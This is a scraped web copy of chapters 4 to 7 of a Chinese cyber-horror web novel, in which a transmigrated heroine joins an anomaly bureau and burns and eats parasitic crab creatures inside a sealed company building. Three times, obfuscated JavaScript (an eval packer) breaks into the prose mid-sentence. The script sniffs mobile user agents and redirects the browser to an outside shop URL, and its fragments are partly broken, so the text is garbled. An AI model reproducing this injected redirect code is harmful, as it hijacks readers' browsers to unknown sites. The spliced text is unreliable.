《燔者的收容游戏[赛博]》 4. 第 4 章 饥饿一旦产生，就会迅速蔓延。 在短短的几分钟之内，庭芝的胃里就像是遭受火烧一般。 庭芝饥饿的目光投向面具，面具一抖。 庭芝笑了笑，从它身上挪开目光。 小丑面具暂时不能吃。 不知道小丑面具上是否有马戏团的印记，但她不敢赌这一手。现在的她对上那么大一个恐怖组织，只能用以卵击石四个字来形容。 庭芝将微积分圣剑尾部的异常核心抠下来扔进嘴里。异常核心涌出一股暖流，顷刻间抚平了饥饿。 【系统提示：您已收容C级异常“微积分圣剑”，个人能力“燔者”演化出新技能】 【个人技能：燔者（您能控制火焰）。】 【演化能力1：甩动火焰，可以将一百五十公斤以内的固态物体击退三百公分。】 演化的能力和原异常的能力基本一致，但更方便，也更便于隐藏。 毕竟，拎着一根撬棍敲人，和用火焰扇人，隐蔽性肯定是后者更强。 庭芝试了试新技能，直接打开智脑。 她需要更稳定的食物来源。或者说，她想要更多的能力。 幸存者联盟不允许公开买卖异常，但并不代表没有买卖的路子。 前大学生的检索能力惊人，靠着前世爬墙的经验，庭芝没多久就搜索到了网上黑市的入口。 黑市的买卖网页做得花花绿绿，完全没有作见不得光生意的自觉。网页顶部，用细细的花体字写着： “聚财市场” 庭芝：…… 真是朴素又简单呢。 聚财市场跟前世的某宝没有什么差别，庭芝熟练地点开商品分类，再熟练地点开“价格从低到高”。 第一条商品是一朵小黄花，C级，敌对阵营，买家描述它可以一口啃掉三个人的脑袋。 价格：十五万蓝珀币。 庭芝数了数“15”后面跟着的四个零，让自己的人工智能报告她的余额情况。 七十八点五蓝珀币。原主的人工智能“来财”用标准的播音腔说道。 来财还贴心地告诉她，这些钱大概可以买三袋合成米。 庭芝：“我其他的卡里还有余额吗？” 来财：“这已经是您七张卡里的余额总和了。” 桌子上奄奄一息的小丑面具突然发出快乐的笑声。但因为它嘴部的开口处还被庭芝用布堵着，所以这笑声有些不伦不类。 庭芝以为它要说什么重要信息，把它嘴里的布条拿下来。 “哈哈哈哈好穷！”小丑面具尖叫。 看到庭芝眼神不善，它忙改口道： “哈哈哈哈主人好穷！” 庭芝又恨恨地将布条塞了回去。 那么，比较可行的，快速拿到异常的方案是…… 加入异常调查局。 加入调查局，混上一个正式编制，是唯一可以获取大量异常，且不违法，不被异常调查局通缉的方法。 她现在手里有“燔者”异能，进入异常调查局，混个编制还是比较简单的。 伴着小丑面具的笑声，庭芝愤愤地关上聚财市场的网页，熟练地检索“异常调查局招聘官网”。 筛选岗位、上传简历，智脑自动抓取简历信息，填到网页表格中。 外勤队D级队员-月薪80000蓝珀币-投递成功！ 庭芝长舒一口气，准备关上网页。 按照她前世投递几千份求职简历的经验，“投递成功”后，多半是“测试评估”。按照正常情况，这份简历将永远在“测试评估”的池子底部躺着，直到这所公司倒闭。 不过她现在好歹有了异能……多少是有点竞争力的吧！ 但在庭芝意料之外的是，在她关掉网页的前一秒，“投递成功”立刻变成了“测试评估”，“测试评估”又在下一秒变成了“待入职”！ 庭芝歪着头张着嘴，看着这场剧变。 “主人，你现在的表情像我的一个丧尸朋友。”小丑面具含混不清地说。 庭芝没理它。 网页上的字不断跳动，最后变成一行： “请于明日（11.28）早9:00到蓝珀区异常调查局总部办理入职手续。” 这么草率……不，推进这么快的吗！ 庭芝皱眉看着网页上的入职邀请。 起码现在，她不需要到原主所在的那个、凌晨三点半还在加班的华盛科技上班。她获得了一份月薪八万蓝珀币的外勤队工作，而外勤队，是收容异常的一线小队。 “这就入职了？”庭芝喃喃道。 “唔。”小丑面具点头，示意庭芝将它嘴里的布条取下来。 “没人想进外勤队的。”小丑面具呸了两声，“外勤队可是要直面异常的，三年死亡率在百分之六十以上。那些运气好觉醒了异常能力的人，宁可一辈子不用自己的能力，也不会进外勤队。” 庭芝点了点头，若有所思。 “没想到你还知道这些。”她堪称温柔地摸了摸面具的额头。 面具被摸得起了一脸铁皮疙瘩。 “谢谢。”庭芝说，“还有，别忘了把你那些好吃朋友们的具体信息给我写一份。” 面具：？？？ 面具：“我没有手！” 庭芝不急不慢：“没关系，你说，我写。” 面具：…… 十分钟后，庭芝将一整页异常信息折好塞进抽屉，又在抽屉侧边放了一小截头发，安详地进入了梦乡。 当然，睡觉之前，庭芝没有忘记在面具的两眼空洞之间穿上一根新的木棍，并用胶带固定住面具和木棍——防止面具晚上扒到她脸上，把她变成小丑。 满意的庭芝安详地进入了梦乡。 小丑面具：…… 她头顶上还有那张神像呢！这是怎么能睡得着觉的！ ----- 庭芝只睡了三个小时，就被自己定的闹钟叫醒。 一夜之后，饥饿感卷土重来，只是没有昨夜那么严重。 但目前庭芝处于绝粮状态，身边只有一只不能吃的储备粮面具。不过好在她马上就可以入职调查局，去吃新的异常。 即使正常的食物不能饱腹，但庭芝还是打开冰箱，尝试着寻找可以入口的东西。 多少有点心理作用。 冰箱里空空如也，只有两块合成肉，和一袋子只剩下个底儿的合成米。 在这个年代，有机蔬菜是稀罕货。故而和蔬菜相比，便宜大块的合成肉，才是庭芝这样初入职场的小职员冰箱里常见的食物。 但两块肉和一把米，很显然并不能满足一个成年女性的饥肠。而且它们散发着一种诡异的风味，像是在含氯量拉满的泳池里泡过又阴干的味道。 庭芝最后还是煮了那两块肉和一把米。合成米的味道并不好，很难咬断，像是橡胶；合成肉的味道也像是橡胶，坏处在于，它是腥味很浓的橡胶。 庭芝风卷残云地把碗里的食物吃了个干净，但正如系统所说，没有一丝饱腹感。 正常人类的食物已经彻底离开了庭芝的食谱。 庭芝所在的“蜂巢”在镀金区，是幸存者联盟绝大多数低阶职工租住的地方。而这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16851610|191583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 职工的工作地点，则在镀金区的内城——蓝珀区。 他们白天前往蓝珀区的各个产业科技园工作，晚上再通勤两小时回到镀金区。 异常调查局总部也在蓝珀区，离蜂巢同样需要两小时车程。 如果庭芝需要九点到达调查局，必须七点出发。 庭芝撇了撇嘴，警告小丑面具不可以发出声音——小丑面具识相地没有发出声音，毕竟它的嘴里还塞着庭芝赐予的木棍和胶带，暂时做不到“发声”这个动作。 离开家之前，庭芝把衣柜门打开一个小小的角度，放了半根牙签，在正门门轴上夹了一根头发，又拍了一张玄关的照片。 庭芝刚关上大门，又想起什么，冲回来打开抽屉，背下小丑面具昨天写的那一页异常信息，然后召唤火焰将纸页随手烧去。 小丑看着庭芝一番操作：…… ----- 到蓝珀区要坐悬浮电轨。电轨里响着轻快的音乐，乐景衬哀情地衬着一群疲惫的上班族。庭芝在一脸疲惫的人群中抢到了一个位置，安稳坐下。 “下面插播一条广播。” 音乐突然暂停，庭芝疑惑地抬了抬头。 “从前日八时开始，位于蓝珀区的华盛科技暂时封闭。华盛科技大楼内部有不明生物病原体泄露，请联盟公民不要前往第六产业园华盛科技大楼。” “该广播将在悬浮电轨内循环播放，直到华盛科技解除封闭状态。再播送一遍……” 华盛科技封闭？那不是原主之前的公司吗？ 华盛科技已经封闭三天，为什么昨晚领导还在给她发消息？ 【您正在穿越镀金区-蓝珀区内墙。当前速度：382千米每小时。】 一道巨大的白色高墙横亘在悬浮电轨前方。电轨在一秒钟之内就穿过了高墙，巨大的轰鸣声打断了广播。 早上八点的镀金区尚且晨光熹微，但一进入蓝珀区，车厢里就填满了明亮的人造阳光。 “叮咚。” 智脑弹出新消息。 庭芝还在思考华盛科技封闭的事情，听到提示随手划开智脑。 是原主在华盛的那位领导。 她昨晚看过和数字哥领导的对话，对话停留在—— 【华盛-领导-M-C-093761：你什么时候来。你什么时候来。你什么时候来。你什么时候来。你什么时候来。】 当时庭芝还以为是数字哥三点半加班加疯了，来催她赶紧回去上工。 而现在，领导又发来了相同的信息。 【华盛-领导-M-C-093761：你什么时候来。你什么时候来。你什么时候来。你什么时候来。你什么时候来。你什么时候来。你什么时候来。你什么时候来。】 蓝珀区二十四小时开着天气调节系统，将天气调节到恒定不变的“晴朗”“二十六摄氏度”。庭芝后背却一阵发凉。 【华盛-领导-M-C-093761：你什么时候来。你什么时候来。你什么时候来。】 【你什么时候来。你什么时候来。】 【你什么时候来。你什么时候来。】 【你什么时候来。你什么时候来。】 连续不断的“叮咚”声从庭芝的手机里响起，催命一般。 庭芝看着源源不绝的消息，面色平静地将智脑调成静音，关掉虚拟屏幕。 虚拟屏幕关上的那一刻，庭芝看到了最后的两条消息。 【华盛-领导-M-C-093761：我们都在公司。】 【华盛-领导-M-C-093761：我们都在等你。】 5. 第 5 章 看到领导发来的这两条消息，庭芝的肚子又响了起来。 微积分圣剑的异常核心类似巧克力味。 不知道智脑对面的东西是不是异常。 如果是，会是什么味道呢？ 【前方停靠站：蓝珀区异常调查局总部。】 车门打开。 庭芝从来没有见到这样的景象。 高楼几乎覆盖了整个天空，立交桥和回廊将不同楼宇连成一片。路边的绿化带里种着人工培育的蓝金两色鲜花，无人机在空中喷出水雾，保证空气湿润。 天气系统将温度设置在最舒适的二十六度，人工太阳洒下完美的、温度适宜的阳光。 这一切都和镀金区的景象大相径庭。 直到真正站在这里，庭芝才有“自己真的到了一个新世界”的实感。 手腕上的手环响了一声，庭芝将它打开，虚拟投影在庭芝眼前展开。 来财用它的少年音说道：“已为您定位到异常调查局，请您沿投影中绿色箭头方向前进。” 庭芝随着人流走下悬浮电轨。和她一起下车的几乎都是调查局的职员，胸口处戴着一只蓝底金字的胸针，上面写着“异常调查局”。 这群人行色匆匆，其中不少人面前还开着虚拟屏幕，正在办公。 庭芝随手拉住一个沉迷办公，差点摔倒的年轻男人。男人抬起一双饱经沧桑的眼睛，迷茫地看向庭芝：“谢谢。” “我是新来的外勤队队员，应该到哪里报到？” 男人指了指一楼大厅：“那里，会有人给你办入职手续。” 他又重新打开虚拟屏幕，打着字走了。 庭芝顺着男人的指路，走进一楼大厅。 大厅正门对面的墙上用黑金字体写着两行字：“此世非暗，吾侪司南”。 而此时，在这宏大的标语之下，一片兵荒马乱。 纸质文书和虚拟屏幕漫天飞舞，穿着体面的职员们用最原始的方法高声叫喊，仿佛幸存者联盟先进的通讯系统通通失灵。 “谁能联系上D-27外勤小队！情报有误，他们进的是B级异常区，不是C级！” “镀金区平安街出现一只异常，未知等级！目测在C级以下，请求外勤支援！” “外勤队都出外勤去了！没人能去支援！” “镀金区幸福街出现C级异常！外勤！外勤！” “别喊了，没有外勤了！通知部长！让‘银盾’的人先顶上！” “华盛科技里面的C级异常怎么样了？汇报异常浓度！” 好乱。 这个世界的官方组织竟然是这么大的草台班子吗？ 但听着职员们一遍遍的地喊着“异常”，庭芝又觉得有些饿了。 庭芝走到咨询台前，随便在一个咨询口前面等待。 咨询台里面坐着一个黑色短发的女人，女人正对着虚拟屏幕狂喷口水舌战群儒，终于驳回了电话对面的请求。 她露出满意的表情，把虚拟屏幕拉远，转过头来面对庭芝，露出营业微笑： “外勤队的新人？” 庭芝：“对。我来办理……入职。” 女人拿出一只类似测温枪的检测仪，在庭芝手腕上悬停一下：“庭芝，二十三岁。初步测试异常等级C级，火焰类。自我意识保有率百分之……？” “哎？”女人晃了晃测温枪，“自我意识保有率测不出？这新迭代的东西就是容易出岔子。但是也没什么问题。” 新名词。庭芝立刻抓住关键点提问：“自我意识保有率是什么？” “你居然不知道这个？”女人答道，“类似于理智值的东西。学校没教过你们这个？” “知道。我只是好奇为什么测不出来。”庭芝答道。 “小事。这个设备刚迭代过，经常出岔子。看你的样子，自我意识保有率绝对在百分之八十以上，根本不用测。”女人自信道。 庭芝：…… 这个地方越来越像草台班子。 要不是胃部的饥饿还提醒着庭芝必须尽快找到一张长期饭票，她早就准备逃离这条贼船了。 “外勤队需要直面异常，你做好心理准备了吗？” 庭芝操控着脑袋上下晃了晃。 女人刷刷刷印出一张表单递给庭芝，收起营业笑容，神情严肃下来。 “好的，庭芝女士。您现在是异常调查局外勤队的成员了。” 庭芝：“所以什么时候……” ——能吃异常。 她又有点饿了。 女人打断了庭芝。她站起身，向庭芝微微鞠了一躬。 “后勤部何意平向您致敬，外勤队的庭芝女士。感谢您为人类司南。” 庭芝有些手足无措。停了一会，她才问道：“我什么时候出外勤？” “您拿着报告单去三楼，外勤部部长办公室。元部长会给您编入外勤小队，届时您就可以和小队一起出任务了。” “最快要多久？” 何意平明显顿了顿。在她这么多年的职业生涯中，庭芝是第一个迫不及待去面见异常的外勤队队员。 真是年轻人啊。何意平有点感慨，又有点惋惜。 “最快两天。”何意平说，“你是新人，需要进行基本的培训。” 庭芝已经惦记上了小丑面具的那块异常核心，并在考虑饿两天会不会饿死的问题。 实在不成，就先拜访一下小丑面具的朋友们吧。 庭芝告别了何意平，一边想着美味朋友，一边捏着报告单走进了外勤部部长办公室。 ----- 外勤部部长元霖坐在白色的合金办公桌前，两指一滑，点开智脑。 他眼下青黑，略有胡茬，显然睡眠严重不足。 “庭芝？”他一口闷掉整杯咖啡，翻了翻庭芝的报告表，“火焰系异能，战斗类。太好了，调查局正需要你这样的人才……等我看看哪个小队还有空缺的位置……” “D016小队，队长温剑姑，队员花荣？”元霖在智脑上点了两下，“这个小队的主攻手在两个月前牺牲了，她们一直没有提交添加队友的申请。就在昨天，她们刚把申请递上来。” 庭芝点点头。她并不在意到底和什么人一队，只想赶紧解决温饱问题。 “我什么时候能出任务？”庭芝问道。 “温剑姑和花荣已经在镀金区出任务了。”元霖看了看智脑，“你可能要等她们回来。” 庭芝：“我可以自己去。” 元霖顿住了。他仔细看了一眼庭芝，又把目光挪回智脑上：“不行。你还没有经过培训，我不能给剑姑、花荣一个专业度不高的队友。” “等我回来，我的专业度就高了。”庭芝答道。 元霖：…… 没等元霖说什么，他的智脑疯狂地响起来。 “派往华盛科技的D级小队失联，需要外勤支援。” 元霖将手颓然地放到桌子上：“华盛科技，C级异常污染区，你去多半是回不来的。” 幸存者联盟正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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车辆的速度极快，只过了十几分钟，便到了华盛科技门口。 两位银盾队员为庭芝拉开车门，帮她整理好防护服和自我意识保有率装置。 防护服整体呈银色，将人包裹得密不透风。内部加装了一套湿度调节系统，保证体感舒适。自我意识保有率装置则被扣在庭芝颈部，可以随时在防护服连带的护目镜片上投影出当前自我意识保有率。 “庭芝女士。”其中一位队员开口，“请问自我意识保有率装置是否正常运作？” “正常。”庭芝道，她的声音穿过防护服，有点闷闷的，“百分之九十八左右。” “您的自我意识保有率很优秀啊。”另一位银盾队员说道，“我很少看见保有率在九十五以上的外勤队队员。” 小丑面具嘻嘻地笑了两声：“她天赋异禀。” “我们会在这里等您出来。祝您平安归来。”两位银盾队员最后检查了一遍防护服，把收容设备放进庭芝的背包中。 收容设备呈球状，不大，却很沉。灰黑色，似乎用铅制成。 庭芝向银盾队员点头示意，而后推开门走进华盛科技的大门。 “主人。”小丑面具在口袋里，用只有庭芝一个人能听见的声音说，“您真的能看见您的自我意识保有率值吗？” 庭芝脚步不停，稳步向前走去。 但她知道，自己的护目镜上空空荡荡，标识“自我意识保有率”的地方，是一条无意义的“---”。 6. 第 6 章 【系统提示：您已接触到A级异常“逆止膜”】 【异常阵营：中立】 【异常特质：可以包裹住选定空间。选定空间外部的实体可进入膜内；内部实体、声波、信号在撤除“逆止膜”前无法越过选定空间。】 【备注：只进不出。】 刚才在路上，庭芝已经看过华盛科技内部的情况。由于异常存在感染性，调查局用逆止膜将整个大楼封闭了起来。 庭芝现在身处一楼前厅。大楼内部死一般的寂静，没有任何异常出现的征兆。 “你知道我的自我意识保有率测不出来。”庭芝用只有自己和面具能听到的声音说。 “自我意识保有率”这个词，庭芝刚才也在智脑上检索过。 这个东西类似san值。 未处于危险中的个体，自我意识保有率几乎都在80%以上。如果被异常影响，或被卷入异常区，这个数值就会逐渐下降。降到50%以下，就会出现幻觉。 如果不及时脱离异常影响，自我意识保有率会继续快速下降，直到跌破15%。 保有率15%以下的个体，就会出现身体的异变。这种异变是不可逆的。到了这个阶段，人已经不再是人，是被“异化”的异常。 “你也知道，我的自我意识保有率为什么测不出来。”庭芝极其肯定地说。 “哼唔。”小丑面具得意点头，“你求我我就告诉……” “因为调查局的仪器，一直测量的都是庭芝的自我意识保有率。”庭芝肯定道，护目镜后的眼睛里闪着思索的神色，“而我，是寄生在她躯壳里的另一个灵魂。 “这一点你不是早就看出来了吗？” 庭芝在面具面前破绽并不少。凌晨带面具回家时，她不知道坐悬浮电轨，而是走了一个多小时；回到家后，又一通翻找，明显对家里不熟悉。 “你们知道像我们这样的穿越者存在。”庭芝用手抚摸着面具的异常核心，温柔道，“这个世界的人怎么看待我们？又会怎么对待我们？” 小丑面具不说话了。 庭芝也没指望它说话：“你现在已经知道了我的秘密，我们已经绑定了。” 小丑面具：？？ 谁要和你绑定！ 但慑于庭芝淫威，小丑面具恰到好处地保持了沉默。 华盛科技一共七层。这在蓝珀区的高楼大厦之间已经算是平房——当然，也的确方便庭芝探索。 说话间，大厅西侧的楼梯间内闪过了一个人影。 那人行动与普通人无异，只是动作过快，若非庭芝获得异常能力后身体机能大幅提高，恐怕就会忽略他。 这里还有活人？ 庭芝下意识地看向护目镜上投影的数据。除了自我意识保有率的数值仍然是“---”外，其它的数值都显示得很稳定。 这些数据由司南科技的超级人工智能“诺亚”提供。异常浓度过高时，绝大多数通讯失灵，异常污染区内部的人很难与外界取得联系。 作为幸存者联盟的第一巨头企业，司南科技惊人地突破了这一难题。所有外勤部员工的智脑都与“诺亚”相连接，诺亚会为外勤队员提供异常浓度、行动成功率以及附近实体的实时监测。 当前，庭芝的护目镜上显示： 【异常浓度：1079/100↑】 表示异常浓度较高。但更引起庭芝注意的是，刚才靠近她的那个人影，在诺亚的实时显示中，是一个红色的圆点！ 红色圆点代表异常，绿色圆点代表人类。 不……不是一个圆点。 在诺亚的显示之中，无数个小小的红色圆点交叠、蠕动，拼凑成了一个不规则的类圆形。 庭芝在公司前台撕下两张纸，塞进小丑面具的嘴里，防止它发出声音，背刺自己，然后低下身子，以一个戒备的姿势，走进了楼梯间。 跟着红色圆点的方向，庭芝推开了到二楼楼梯间的门。 门后面是一条走廊，两边都是办公室，多数门都紧紧关着。在实体检测系统上看，每扇门后都有七八个红点，看得庭芝嘴角一抽。 在异常泄露时，绝大多数职员都在公司内部。为了防止异常进一步扩散，调查局派外勤部小队，用逆止膜将所有职工都封闭在了公司里——这个小队也被封在了公司里。 按照这一片密密麻麻代表异常的红点，公司里不知道还有没有活人。 庭芝目光逡巡着各个房间里的情况，在她右手边的第二间办公室里，她发现了一个绿点。 还有人。 而且，这间办公室里只有一个红点。 在异常泄露三天后，一个异常，和一个人类还共处一室，二者都活得很好。 这激起了庭芝的探究欲。 庭芝按下门把，门开了。 正对着她的是几张拼在一起的办公桌，其中离门最近的那一张，上面贴着庭芝的照片与工号。 庭芝：…… 原来是自己的工位。 若不是看见这个工位，她怕是已经忘记自己还没从华盛离职。 但是，按照现在的情况，不离职也没什么了。 毕竟公司都已经沦陷了。 庭芝走到那个绿点旁边。 一个年轻女人蹲在办公桌下面，用一堆乱七八糟的东西挡在自己身前，只露出一双眼睛。 看见庭芝的那一刻，她的眼睛亮了亮。 庭芝朝她比了个“不要出来”的手势，放低脚步，走到了那个红点背后。 宽大的办公椅里面，一个男人背对着庭芝坐在那里。 男人发出淅淅索索的声音。庭芝听了一会，才听清他在说什么。 “一手抓报告，一手抓采访，一手抓运营，一手抓排版，一手抓文案，一手抓策划，一手抓质量，一手抓效率。”男人淅淅索索地说。 ？您是八爪鱼吗。 庭芝思量两秒，开口反唇相讥道： “怎么，您有八条腿？” 那只男人把椅子转过来，于是它的全身都暴露在庭芝面前。 庭芝很细节地将称呼这个东西的量词调节成了“只”。 因为它的确只能算是略具人形。 眼前的东西大部分都保持着人的形状，只有皮肤偶尔被什么东西顶起，于是它的全身便像盛满水袋子一样，很有弹性地乱动。两根□□的神经暴露在它的眼球后面，将眼睛顶得很高。 除此之外，他的腋下和大腿根部各伸出一根纤细的节肢，覆着一层薄壳，大约有婴儿手臂长短。这四根节肢似乎没有作用，只是软软地垂下来，起到一个装饰效果。 整个人像一只螃蟹。 蟹人胸前挂着工牌，上面写着工号M-C-093761。在幸存者联盟的绝大多数企业里，职工们用工号称呼彼此，而非姓名。 只要智脑扫描对方的脸，就可以识别出这个人和自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16851612|191583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的业务交集、过往工作交接记录等，完全不需要费心去记同事的名字，方便得很。 看这工号，这不正是那个急着让自己过来的数字哥吗。 数字哥把它的八手抓理论又重复了一遍，并在最后补充道： “为什么你没有八只手？” 蟹人的声音很奇怪，不像是振动声带发出来的声音，更像是有什么东西在互相摩擦，拟声出人类的语言。 “为什么你没有八只手。”蟹人摇摇晃晃地朝庭芝走了一步，机械地复述道。 【系统提示：您已接触到D级异常“食腐”（幼年体）】 【异常阵营：食物】 【异常特质：？？？】 【备注：八手抓要从幼年体抓起。】 【是否收容？】 如果领导变成了螃蟹，她的离职申请还能通过吗？螃蟹能批她的离职申请吗？ 庭芝没想到，自己初入职场，就要面对这样复杂的问题。 “为什么你没有八只手。” “为什么你没有八只手。” “为什么你没有八只手。” “为什么你没有……”蟹人领导的声音催命似的，越来越急，它身体里的东西颤动地愈发剧烈。 身后办公桌下躲着的女人一动不敢动，一脸见了鬼似的惊恐，向庭芝挤眼睛。 如果眼睛能说话，那她的“快跑吧你”绝对振聋发聩。 “为什么你没有八只手。” 当蟹人不厌其烦地再次重复了这句话后，庭芝打断了它的话。 “因为我是个残疾人啊。”庭芝说，“我天生少四只手。” “所以当其他人四只手抓效率，四只手抓质量的时候，我只能用我仅剩的四只手摸摸鱼吃吃螃蟹这样子。” 庭芝眼神真挚，满脸全是少了四只手的悲恸。 蟹人浑浊的眼瞳里露出了真诚的迷茫。 “你们要照顾残疾同事，保护和谐工作生态。” “综上所述，你应该给我发申请残障人士……蟹士补贴。” 蟹人沉默了。在它短短的异常生命中，没有见过少了四只手的残疾人……蟹。 于是它开始疑惑。 蟹人用它异化成钳子的双手挠了挠头。它的钳子太过锋利，撕破了头皮，几只小小的、八肢细软，肚子巨大的软壳螃蟹从破口中爬出来。 庭芝顿时明白了蟹人皮肤之下，那些蠕动、突起的东西是什么。 以及……诺亚的实体检测系统里，那些密密麻麻，聚集成大红点的小红点是什么。 是更多的寄生蟹。名为“食腐”的异常蛀空了宿主的内部，现在这位M-C-093761，只是一张人皮，裹着一包寄生蟹。 像是寄生在螃蟹里的蟹奴。只不过这次，被寄生的是人，而充当蟹奴角色的是蟹。 寄生蟹们蠕动、摩擦，仿照着宿主的习性，言语、行动。 寄生蟹就在他们的皮肉下繁衍、生长、交接。 保持着一定的运动量，还有足够的血肉滋养。 所以才香啊。 庭芝抬起手，火焰凭空从空中星星点点地聚集起来，组成一根艳红色的撬棍。 其实她的火焰就有微积分圣剑的击退效果，但庭芝仍然觉得，手里握着一根长条状武器会让她更有安全感。 火光映着庭芝微微苍白的脸。 “接下来是自助餐环节。”她笑着说。 7. 临门一脚 庭芝四五岁的时候，梦想是开一家属于自己的餐厅，最好是自助餐厅。 孤儿院的院长妈妈大力肯定了这个想法，并且鼓励庭芝，今后一定要去她的餐厅捧场。 不过很快，这个梦想就在科学家、宇航员、黑山羊之母和赛罗奥特曼之间被淹没了。 眼前的蟹人，终于让她重新找回了自己年少的梦想。 只要用火焰轻轻一烧，它就会爆出几只食腐幼体。幼体们迅速在火中干瘪，只留下米粒大小的异常核心，落到地上。 这样的蟹人，门外还有很多。 在穿越的第二天，庭芝成功地拥有了一家自助餐厅。 虽然这里供应的食物比较小众。 庭芝撬棍一挥，身后的蟹人倒飞出去，发出海鲜的清香。 蟹人终于意识到，面前的女人并不是它的残疾蟹人朋友。 少了四条腿的螃蟹，就是人！ 这家伙不是螃蟹！寄生它！ 蟹人伸出手，向庭芝猛然扑来！ “躲着不要动！”庭芝向躲在桌下的女人喊道，防止她激动之下冲出去，被外面的蟹人发现。 她挥起火焰撬棍，直面向她扑来的蟹人。 在蟹人即将冲到她面前的时候，庭芝扬手，向蟹人洒了一瓶东西—— 轰！ 蟹人被一瞬间点燃，如同一只燃烧的火炬，火焰窜到天花板上。 螃蟹们从它身上四散爬出，没来得及掉到地上，就被火焰烤干。它们挣扎蠕动时发出甲壳摩擦的声响，使得那具死去多时的人类皮囊似乎在火中哀嚎。 火焰触发了烟感报警装置，水流从天花板上落下，扑灭了蟹人身上的火。 剩下的寄生蟹们缩回蟹人的身体。因为少了一大半同伴，蟹人的身体变得很薄，两只手软软地耷拉成一片，变成了物理意义上的纸片人。 蟹人扁扁地躲开了庭芝，缩在角落里，看上去有些委屈。 即使没有智力，食腐仍然本能地畏惧火焰的热量。 庭芝耐心地用火将寄生蟹们一一烤熟，直到房间里传来一阵浓厚的香味，庭芝才收回火焰。 刚才洒向蟹人的东西，是庭芝临行时向调查局申请的助燃剂。 庭芝在烧小丑面具时尝到了甜头。如果靠“燔者”能力，现在的她只能凝聚出一团脑袋大的火焰；但如果洒上助燃剂再点火，就能烧掉更大的东西。 小丑面具看见火，想起了自己被烧掉的车，下意识地在口袋里抖了一下。 庭芝拍拍自己防护服口袋里的几十小瓶助燃剂。 助燃剂晃动，碰到被装在一个兜里的小丑。小丑呜咽一声，咬紧了嘴里的纸。 火力充足。庭芝产生了第一次拿到撬棍般的安心感。 享受这种安心感的时候，庭芝感到有些头痛，也有些饿。 头痛是因为异常能力的过度使用。因为加了助燃剂，庭芝实际上是控制了在她能力之外的火焰。 所以，头痛是正常的。 但是为什么又饿了！ 庭芝一边努力忽略饥饿感，一边迅速将一地的异常核心收进自己的背包。 异常能力的过度使用，能靠食用异常核心缓解吗？ 庭芝的大脑突然跳出来这样一个问题。 【系统提示：可以。】 系统突然发声。 庭芝不动声色地将异常核心塞进背包，确认了办公室内监控的位置后，躲到监控死角，偷偷往嘴里塞了一把异常核心。 虽然华盛内部的异常浓度已经到了电子产品完全掉线，无法连接蓝珀网的地步，但不怕一万就怕万一。 食用异常核心这件事明显不像好人，庭芝不想在穿越者身份可能有问题的情况下，再给自己贴上一个“异类”的标签。 【您已收容D级异常“食腐”（幼年体）！】 【异常特质：在人类身体上制造创口，从创口处进入人体，进行繁殖。】 【系统提示：“食腐”（幼年体）属于B级异常“食腐”的附属物，食用后仅能提高“燔者”火焰强度，无法演化新能力。请努力找到“食腐”本体进行收容。】 食腐幼体的异常核心是螃蟹味。一把异常核心放进嘴里的时候，像是在嘴里含了一勺蟹粉。 庭芝心满意足地咽下异常核心。头痛逐渐缓解，饥饿感也消弭无踪。 “小芝子？”躲在桌下的女人小声问，“结束了嘛？” 她认识原主？甚至两人很熟悉？ 庭芝走过去，将女人身边的东西挪开：“结束了。但外面被封住了，我们需要把异常浓度降下来才能离开。” “怎么降下来？”女人问。 “找到食腐母体。”庭芝说，“这里之前发生了什么？异常为什么会泄露？” 很有可能，在这座大楼里，面前的女人是唯一的幸存者。 “我们不知道。”女人把自己从桌底拉出来，她看着有些疲惫和虚弱，但精神尚好，“三天前，董事长通过工作软件下了通知，说华盛的新科技就要发布，要求所有人紧急加班。” 女人出来后喘了口气，立刻走到被烧得碳化的蟹人面前，有些好奇地看着蟹人：“这东西原来能被烧死，这几天吓死我了。” 庭芝示意她继续说下去。 “因为工作内容涉及公司机密，领导层要求所有在公司的人给家里报个平安，然后封闭在公司值班。我们就这样在办公室里待着，直到当天晚上……办公室里的两个人变成了蟹人。 “我不知道他们是怎么变成蟹人的，但我知道我得跑。我跑出去，发现绝大部分人都被寄生了。被寄生的人攻击其他人，其他人也被寄生…… “我发现，这些怪物没有视觉，而是靠听觉捕猎。我不敢出声，随便找了一个办公室，关上门躲在了这里。然后——” 女人突然雀跃起来，她猛地抱住了庭芝，不顾庭芝的防护服上还沾着蟹人的血液。 “然后小芝子你就来了！你现在太帅了点吧！你这两天请假是加入了异常调查局吗！” 庭芝本能地想躲，但躲到一半生生停住了。 这个女人没被寄生。她们很熟悉，庭芝不能在她面前露出破绽。 但她是什么人？ 庭芝用力回抱女人，“我听到华盛封闭的消息就很担心你，还好你没事。” “我前两天被异常缠上，觉醒了异常能力，直接进了调查局外勤队，就自请来华盛看看情况。”庭芝真诚地说。 语气之诚恳，表情之担忧，让口袋里钻出来看情况的小丑面具都闭起了耳朵。 演！ 真会演！< 